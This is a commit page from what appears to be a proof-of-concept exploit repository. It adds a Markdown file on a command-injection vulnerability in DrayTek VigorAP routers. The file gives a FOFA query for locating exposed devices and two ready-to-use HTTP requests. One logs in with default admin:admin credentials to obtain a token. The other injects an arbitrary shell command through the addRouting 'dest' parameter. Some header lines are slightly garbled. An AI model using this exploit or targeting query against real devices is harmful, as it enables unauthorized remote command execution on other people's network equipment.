admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create draytek路由器addrouting命令执行漏洞.md

Browse Source
This commit is contained in:
wy876 2024-04-17 20:00:03 +08:00 committed by GitHub
parent bdfe20d7dc
commit bd1de55d7d
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 24 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

24
draytek路由器addrouting命令执行漏洞.md Normal file
View File

@ -0,0 +1,24 @@
## draytek路由器addrouting命令执行漏洞
## fofa
```
header="realm="VigorAP910C"
```
## poc
```
获取token
GET /opmode.asp HTTP/1.1
Host:
Authorization: Basic YWRtaW46YWRtaW4=
Referer:{{Hostname}}
ser-Agent: Mozilla/5.0 - |
执行命令
GET /goform/addRouting?AuthStr={{token}}&dest=||+echo+$(+{{rce}})%3b%23a HTTP/1.1
Host:
Authorization: Basic YWRtaW46YWRtaW4= R
eferer:{{Hostname}}
User-Agent: Mozilla/5.0
```